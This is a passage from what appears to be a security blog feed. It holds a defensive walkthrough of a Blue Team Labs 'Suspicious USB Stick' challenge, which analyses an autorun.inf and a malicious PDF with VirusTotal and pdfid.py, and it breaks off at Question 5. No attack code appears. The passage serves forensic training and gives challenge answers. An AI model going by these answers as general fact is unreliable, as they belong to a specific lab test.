src=&#34;https://stumblesec.com/posts/hackthebox-crownjewel-1-sherlock-walkthrough/f8c7eb38d3dcdbc5b7c0e94f0c183589_MD5.png&#34; width=&#34;678&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;FLARE-VM:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/mandiant/flare-vm&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — OS Credential Dumping: NTDS (T1003.003):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1003/003/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1003/003/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — Volume Shadow Copy Service:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — Event 4799:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4799&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4799&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Hex Calculator:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.rapidtables.com/convert/number/hex-to-decimal.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.rapidtables.com/convert/number/hex-to-decimal.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Hide Artifacts: NTFS File Attributes (T1564.004):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1564/004/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1564/004/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Eric Zimmerman’s Tools — MFTECMD:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/EricZimmerman/MFTECmd&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/EricZimmerman/MFTECmd&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Eric Zimmerman’s Tools:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://ericzimmerman.github.io/#!index.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://ericzimmerman.github.io/#!index.md&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Blue Team Labs Online  —  Suspicious USB Stick Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/blue-team-labs-online-suspicious-usb-stick-challenge-walkthrough/</link>
            <pubDate>Sun, 06 Oct 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/blue-team-labs-online-suspicious-usb-stick-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/blue-team-labs-online-suspicious-usb-stick-challenge-walkthrough/a12e76403b015df4f2aa17a87f85d136_MD5.png&#34; alt=&#34;Featured image of post Blue Team Labs Online  —  Suspicious USB Stick Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;blue-team-labs-onlinesuspicious-usb-stick-challenge-walkthrough&#34;&gt;Blue Team Labs Online — Suspicious USB Stick Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;investigating-a-suspicious-usb-drive-with-pdfidpy-pdf-parserpy-and-virustotal&#34;&gt;Investigating a suspicious USB drive with pdfid.py, pdf-parser.py, and VirusTotal&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img alt=&#34;a12e76403b015df4f2aa17a87f85d136_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;357px&#34; data-flex-grow=&#34;148&#34; height=&#34;537&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-suspicious-usb-stick-challenge-walkthrough/a12e76403b015df4f2aa17a87f85d136_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Logo credit: &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/home/challenge/log-analysis-privilege-escalation-65ffe8df12&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://blueteamlabs.online&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! This week, we’re diving into a hands-on &lt;em&gt;DFIR&lt;/em&gt; challenge, &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/home/challenge/suspicious-usb-stick-2f18a6b124&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Suspicious USB Stick&lt;/strong&gt;&lt;/a&gt;, from &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Blue Team Labs Online&lt;/strong&gt;&lt;/a&gt;. This investigation involves analyzing the titular suspicious USB drive which may have played a role in a recent, fictitious data breach. What’s our objective? To check the contents of the device to uncover any indicators of malicious activity. If this topic sounds cool to you, you’ve stumbled on the right blog!&lt;/p&gt;&#xA;&lt;p&gt;To do this, we’ll start by examining the drive’s &lt;em&gt;Autorun.inf&lt;/em&gt; file, a common vector for malware propagation. What exactly is this file doing, and what role did it play in the breach? Next, we’ll turn our attention to a suspicious &lt;em&gt;PDF&lt;/em&gt; file also found on the USB stick. Using tools like &lt;em&gt;VirusTotal&lt;/em&gt;, &lt;em&gt;Didier Stevens’ pdfid.py&lt;/em&gt;, and &lt;em&gt;pdf-parser.py&lt;/em&gt;, we’ll determine if this &lt;em&gt;PDF&lt;/em&gt; is malicious, identify the operating systems it targets, and extract embedded commands.&lt;/p&gt;&#xA;&lt;p&gt;If you find this walkthrough helpful in leveling up your skills or getting you through a tricky question, &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback helps me improve and continue supporting your security journey. Thanks for reading!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/home/challenge/suspicious-usb-stick-2f18a6b124&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://blueteamlabs.online/home/challenge/suspicious-usb-stick-2f18a6b124&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;One of our clients informed us they recently suffered an employee data breach. As a startup company, they had a constrained budget allocated for security and employee training. I visited them and spoke with the relevant stakeholders. I also collected some suspicious emails and a USB drive an employee found on their premises. While I am analyzing the suspicious emails, can you check the contents on the USB drive?&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;Reading Material:&lt;/strong&gt;&#xA;&lt;a class=&#34;link&#34; href=&#34;https://zeltser.com/analyzing-malicious-documents/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://zeltser.com/analyzing-malicious-documents/&lt;/a&gt;&#xA;&lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/List_of_file_signatures&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://en.wikipedia.org/wiki/List_of_file_signatures&lt;/a&gt;&#xA;&lt;a class=&#34;link&#34; href=&#34;https://eternal-todo.com/tools/peepdf-pdf-analysis-tool&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://eternal-todo.com/tools/peepdf-pdf-analysis-tool&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;setup-the-remnux-analysis-environment--extract-the-challenge-file&#34;&gt;Setup the REMnux Analysis Environment &amp;amp; Extract the challenge file:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img alt=&#34;ef3ee561b45fba8375a733e539c6e8ee_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;363px&#34; data-flex-grow=&#34;151&#34; height=&#34;299&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-suspicious-usb-stick-challenge-walkthrough/ef3ee561b45fba8375a733e539c6e8ee_MD5.png&#34; width=&#34;453&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Safety first! It’s always important when working with lab/challenge files from &lt;em&gt;Blue Team Labs Online&lt;/em&gt; &lt;em&gt;(or any educational lab/challenge/range)&lt;/em&gt; to keep yourself protected by performing these tasks in a dedicated, isolated virtual machine environment. For example, I’m using &lt;a class=&#34;link&#34; href=&#34;https://remnux.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;REMnux&lt;/em&gt;&lt;/a&gt; for this challenge and walkthrough.&lt;/p&gt;&#xA;&lt;p&gt;To keep this write-up focused I’m going to skip the step-by-step setup of &lt;em&gt;REMnux&lt;/em&gt;. If you’d like to set up your own &lt;em&gt;REMnux&lt;/em&gt; environment, please follow the directions provided by &lt;em&gt;REMnux&lt;/em&gt; directly. For reference, I opted for the virtual appliance method:&lt;/p&gt;&#xA;&lt;h2 id=&#34;b436702b96b5&#34;&gt;[&lt;strong&gt;Get the Virtual Appliance | REMnux Documentation&lt;/strong&gt;&#xA;_The easiest way to get the REMnux distro is to download the REMnux virtual appliance in the OVA format, import it into…_docs.remnux.org](&lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page---&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page---&lt;/a&gt;&#xA;&amp;ndash;b436702b96b5&amp;mdash;&#xA;&lt;/h2&gt;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;h2 id=&#34;b436702b96b5-1&#34;&gt;&amp;ndash; &amp;ldquo;&lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page---&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page---&lt;/a&gt;&#xA;&amp;ndash;b436702b96b5&amp;mdash;&#xA;&lt;/h2&gt;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;h2 id=&#34;b436702b96b5-2&#34;&gt;&amp;ndash;&amp;rdquo;)[](&lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page---&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page---&lt;/a&gt;&#xA;&amp;ndash;b436702b96b5&amp;mdash;&#xA;&lt;/h2&gt;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;p&gt;&amp;ndash;)&lt;/p&gt;&#xA;&lt;p&gt;Okay! Now that we have our virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-what-file-is-the-autoruninf-running&#34;&gt;Question 1: What file is the autorun.inf running?&#xA;&lt;/h3&gt;&lt;p&gt;Okay, let’s get started!&lt;/p&gt;&#xA;&lt;p&gt;Inside of our analysis environment, we’ll unzip the challenge file and the second archive file (&lt;em&gt;USB.zip)&lt;/em&gt; within it. Now inside of the &lt;em&gt;USB.zip&lt;/em&gt; archive, we have two files to focus on:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;em&gt;autorun.info&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;em&gt;2. README.pdf&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;9985df9c1ce09afa7ccc5bf7adabec01_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;671px&#34; data-flex-grow=&#34;279&#34; height=&#34;286&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-suspicious-usb-stick-challenge-walkthrough/9985df9c1ce09afa7ccc5bf7adabec01_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 1,&lt;/strong&gt; let’s first focus on &lt;em&gt;autorun.inf,&lt;/em&gt; but before we look at the file, let’s get some quick background on what &lt;em&gt;autorun.inf&lt;/em&gt; does exactly.&lt;/p&gt;&#xA;&lt;p&gt;According to &lt;a class=&#34;link&#34; href=&#34;https://www.trendmicro.com/vinfo/in/security/definition/autorun#:~:text=INF.,the%20infected%20drive%20is%20accessed.&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;&lt;em&gt;Trend Micro&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt;, the &lt;em&gt;autorun.inf&lt;/em&gt; file is placed in the root directory of a storage drive and is used to automatically launch programs from storage and media drives. In older versions of &lt;em&gt;Windows&lt;/em&gt; this feature could be abused to automatically execute malware when an infected drive was accessed.&lt;/p&gt;&#xA;&lt;p&gt;So now that we understand what this text file can do, let’s open it up in a &lt;em&gt;text editor&lt;/em&gt; to see what is going on. For this example, I‘ll use &lt;em&gt;nano&lt;/em&gt; within my &lt;em&gt;REMnux&lt;/em&gt; environment.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;16d903953f134dd94dd09a3d60f48a81_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1185px&#34; data-flex-grow=&#34;493&#34; height=&#34;162&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-suspicious-usb-stick-challenge-walkthrough/16d903953f134dd94dd09a3d60f48a81_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;We can see that the &lt;em&gt;autorun&lt;/em&gt; open action is set to launch the &lt;em&gt;README.pdf&lt;/em&gt; file.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;cbad2a8440db9a60132858df913c135e_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2400px&#34; data-flex-grow=&#34;1000&#34; height=&#34;80&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-suspicious-usb-stick-challenge-walkthrough/cbad2a8440db9a60132858df913c135e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-does-the-pdf-file-pass-virustotal-scan-no-malicious-results-returned&#34;&gt;Question 2: Does the pdf file pass virustotal scan? (No malicious results returned)&#xA;&lt;/h3&gt;&lt;p&gt;Now let’s turn our attention to &lt;em&gt;README.pdf&lt;/em&gt; and determine what the &lt;em&gt;PDF&lt;/em&gt; file is and if it’s malicious or not.&lt;/p&gt;&#xA;&lt;p&gt;To do this, we’ll start by checking &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;VirusTotal&lt;/em&gt;&lt;/a&gt; for any previous hits for this file. As a first step, let’s calculate the &lt;em&gt;SHA256&lt;/em&gt; hash of the &lt;em&gt;PDF&lt;/em&gt; directly from the &lt;em&gt;terminal&lt;/em&gt; by using the below command:&lt;/p&gt;&#xA;&lt;p&gt;sha256sum README.pdf&lt;/p&gt;&#xA;&lt;p&gt;Then, copy the file hash and search &lt;em&gt;VirusTotal&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/c868cd6ae39dc3ebbc225c5f8dc86e3b01097aa4b0076eac7960256038e60b43&#34;  title=&#34;https://www.virustotal.com/gui/file/c868cd6ae39dc3ebbc225c5f8dc86e3b01097aa4b0076eac7960256038e60b43&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;&lt;em&gt;VirusTotal&lt;/em&gt;&lt;/strong&gt;&#xA;VirusTotalwww.virustotal.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/c868cd6ae39dc3ebbc225c5f8dc86e3b01097aa4b0076eac7960256038e60b43&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;d056f6beb34dc44ef2182105ddf2e0da_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;994px&#34; data-flex-grow=&#34;414&#34; height=&#34;193&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-suspicious-usb-stick-challenge-walkthrough/d056f6beb34dc44ef2182105ddf2e0da_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Right away we’ll see a large number of detections which provide to us a high degree of confidence that the file is &lt;em&gt;malicious&lt;/em&gt; and does not “pass” a scan.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;2da2b0eee37a9f4f501beec991cf8b3e_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2430px&#34; data-flex-grow=&#34;1012&#34; height=&#34;79&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-suspicious-usb-stick-challenge-walkthrough/2da2b0eee37a9f4f501beec991cf8b3e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-does-the-file-have-the-correct-magicnumber&#34;&gt;Question 3: Does the file have the correct magic number?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 3,&lt;/strong&gt; I’ll lean on the &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/List_of_file_signatures&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Wikipedia&lt;/em&gt;&lt;/a&gt; page linked in the challenge to best explain what this question is looking for.&lt;/p&gt;&#xA;&lt;p&gt;According to &lt;em&gt;Wikipedia:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;This is a list of &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/File_format#Magic_number&#34;  title=&#34;File format&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;file signatures&lt;/a&gt;, data used to identify or verify the content of a file. Such signatures are also known as &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/Magic_number_%28programming%29#In_files&#34;  title=&#34;Magic number (programming)&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;magic numbers&lt;/a&gt; or Magic Bytes.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/List_of_file_signatures&#34;  title=&#34;https://en.wikipedia.org/wiki/List_of_file_signatures&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;List of file signatures — Wikipedia&lt;/strong&gt;&#xA;_needs additional citations for verification .improve this article by (Learn how and when to remove this message )…_en.wikipedia.org&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/List_of_file_signatures&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let’s look for the &lt;em&gt;PDF&lt;/em&gt; document type in the list to make this a bit easier to understand.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;160a3b201180f8b0943843e245ef3509_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;6620px&#34; data-flex-grow=&#34;2758&#34; height=&#34;29&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-suspicious-usb-stick-challenge-walkthrough/160a3b201180f8b0943843e245ef3509_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;In the image above, we’re given that the &lt;em&gt;hex&lt;/em&gt; &lt;em&gt;signature&lt;/em&gt; of a &lt;em&gt;PDF&lt;/em&gt; is &lt;em&gt;2&lt;/em&gt;&lt;strong&gt;&lt;em&gt;5 50 44 46 2D&lt;/em&gt;&lt;/strong&gt; which converts to the ASCII &lt;strong&gt;&lt;em&gt;%PDF-&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;So, to put this into context, we can use the &lt;em&gt;magic number/bytes&lt;/em&gt; to determine if the malicious sample is a “real” &lt;em&gt;PDF&lt;/em&gt; file or something like an &lt;em&gt;executable&lt;/em&gt; masquerading as a &lt;em&gt;PDF&lt;/em&gt; file. But how do we get the magic number from the malicious file to verify it? Well, there are a several ways but let’s keep it simple and try two ways for this walkthrough.&lt;/p&gt;&#xA;&lt;p&gt;The first method is to leverage the work we’ve already done and simply use the existing &lt;em&gt;VirusTotal&lt;/em&gt; search. Navigate to the &lt;em&gt;Details&lt;/em&gt; tab &amp;gt; &lt;em&gt;Basic properties&lt;/em&gt; &amp;gt; &lt;strong&gt;&lt;em&gt;Magic&lt;/em&gt;&lt;/strong&gt; to confirm that the file is indeed a &lt;em&gt;PDF&lt;/em&gt; file and not some other file type.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;3a70b93aaf1c573f9c80316d2e87bc02_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;706px&#34; data-flex-grow=&#34;294&#34; height=&#34;253&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-suspicious-usb-stick-challenge-walkthrough/3a70b93aaf1c573f9c80316d2e87bc02_MD5.png&#34; width=&#34;745&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The second simple method is to utilize a tool like &lt;a class=&#34;link&#34; href=&#34;https://blog.didierstevens.com/programs/pdf-tools/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Didier Stevens’ &lt;strong&gt;&lt;em&gt;pdfid.py&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt; to do some triage of the &lt;em&gt;PDF&lt;/em&gt; file. When &lt;em&gt;pdfid.py&lt;/em&gt; runs, one of the items it checks for is a valid &lt;em&gt;%PDF&lt;/em&gt; header — if it doesn’t have one, the tool will let you know. For example, if we run it on the &lt;em&gt;autorun.inf&lt;/em&gt; file:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;54d0458d4719399a68da36637261e380_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2887px&#34; data-flex-grow=&#34;1203&#34; height=&#34;61&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-suspicious-usb-stick-challenge-walkthrough/54d0458d4719399a68da36637261e380_MD5.png&#34; width=&#34;734&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;So now, let’s try it with &lt;em&gt;README.pdf&lt;/em&gt; and see what it tells us…&lt;/p&gt;&#xA;&lt;p&gt;pdfid.py README.pdf&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;c3bba8d023fc15e962cfd72833cb66ef_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;328px&#34; data-flex-grow=&#34;137&#34; height=&#34;456&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-suspicious-usb-stick-challenge-walkthrough/c3bba8d023fc15e962cfd72833cb66ef_MD5.png&#34; width=&#34;625&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;There we go! Comparing this header to the information from the &lt;em&gt;Wikipedia File Signature&lt;/em&gt; page, we see that it matches and double-confirms that the file is a &lt;em&gt;PDF&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;29d7250de5c1e5b7518272e5ca00956b_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2430px&#34; data-flex-grow=&#34;1012&#34; height=&#34;79&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-suspicious-usb-stick-challenge-walkthrough/29d7250de5c1e5b7518272e5ca00956b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-what-os-type-can-the-file-exploit-linux-macos-windowsetc&#34;&gt;Question 4: What OS type can the file exploit? (Linux, MacOS, Windows, etc)&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 4,&lt;/strong&gt; we’re looking for which operating system can be exploited by this file. Since we’re already on &lt;em&gt;VirusTotal,&lt;/em&gt; let’s see what other information we can discover about the &lt;em&gt;PDF&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Let’s check out the &lt;strong&gt;Behaviors&lt;/strong&gt; tab where we’ll quickly notice that all the sections like &lt;em&gt;File System, Registry, Shell Commands,&lt;/em&gt; etc. are referencing &lt;em&gt;Windows.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;This should be enough information to determine the affected OS.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;1d36c040060781610c387e3471ca452d_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2400px&#34; data-flex-grow=&#34;1000&#34; height=&#34;80&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-suspicious-usb-stick-challenge-walkthrough/1d36c040060781610c387e3471ca452d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-a-windows-executable-is-mentioned-in-the-pdf-file-what-isit&#34;&gt;Question 5: A Windows executable is mentioned in the pdf file, what is it?&#xA;&lt;/h3&gt;&lt;p&gt;Let’s switch away from &lt;em&gt;VirusTotal&lt;/em&gt; and use another of &lt;em&gt;Didier Stevens’&lt;/em&gt; &lt;em&gt;PDF tools,&lt;/em&gt; 